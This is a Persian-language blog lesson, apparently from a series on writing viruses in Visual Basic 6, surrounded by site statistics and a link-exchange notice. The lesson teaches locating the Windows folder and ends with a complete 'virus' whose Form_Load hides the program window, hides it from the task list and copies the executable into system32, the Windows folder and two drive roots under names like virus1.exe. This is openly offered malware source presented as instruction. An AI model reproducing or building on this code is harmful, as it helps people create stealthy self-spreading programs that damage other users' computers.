آمار وب سایت:
بازدید دیروز : 2
بازدید هفته : 214
بازدید ماه : 497
بازدید کل : 131430
تعداد مطالب : 378
تعداد نظرات : 2971
تعداد آنلاین : 1
تبادل
لینک هوشمند
برای تبادل
لینک ابتدا ما
را با عنوان
پیش به سوی علم
و آدرس
kavosh91.ir
لینک
نمایید سپس
مشخصات لینک
خود را در زیر
نوشته . در صورت
وجود لینک ما در
سایت شما
لینکتان به طور
خودکار در سایت
ما قرار میگیرد.
برای اینکه ویروس ما کارایی بهتری داشته و اون عملکردی که ما مد نظرمون هست رو داشته باشه باید سطح دسترسی ویروسمون رو به پوشه ویندوز بالا ببریم..
سوال: چطوری اینکارو باید انجام داد؟
جواب: با استفاده از توابع API و قابلیت ها و دستورهایی رو که خود ویژوال بیسیک داره..
شاید کار با توابع برای شما سخت باشه من از دستورات داخلی ویژوال شروع میکنم تا به توابع برسم...
کد:
w$ = Environ("windir")
توضیح:
ما مقدار $w (که این نام دلخواه هست می تونید بزارید a یا ...) را ("Environ("windir
قرار دادیم که پوشه ی اصلی ویندوز را به ما می ده.
چطوری ازش استفاده کنیم؟؟
کد:
filecopy App.path + App.exename + ".exe",w$+"\"+"namefile"
or
کد:
filecopy Path file1 + namefile,w$ +"\" +"namefile"
در اینجا به خاطر اینکه مقداری که به ما میده میشه :
مثال:
کد:
c:\windows
برای همین از "\"+ تا به صورت زیر در بیاد :
کد:
c:\windows\
تمرین:
ویروسی بنویسید که خودش رو در پوشه system32 کپی کنه :
جواب:
کد:
filecopy App.path + App.exename + ".exe",w$+"\system32\"+"namefile"
ویروسی که ما تا الان تونستیم ایجاد کنیم:
کد:
Private Sub Form_Load()
Me.Hide
App.TaskVisible = False
w$ = Environ("windir")
FileCopy App.Path + App.EXEName + ".exe", w$ + "\system32\" + "virus1.exe"
FileCopy App.Path + App.EXEName + ".exe", w$ + "\" + "virus2.exe"
FileCopy App.Path + App.EXEName + ".exe", "c:\" + "virus3.exe"
FileCopy App.Path + App.EXEName + ".exe", "h:\" + "virus4.exe"
End Sub
http://www.programming-vb6.rozblog.com:منبع
نظرات شما عزیزان: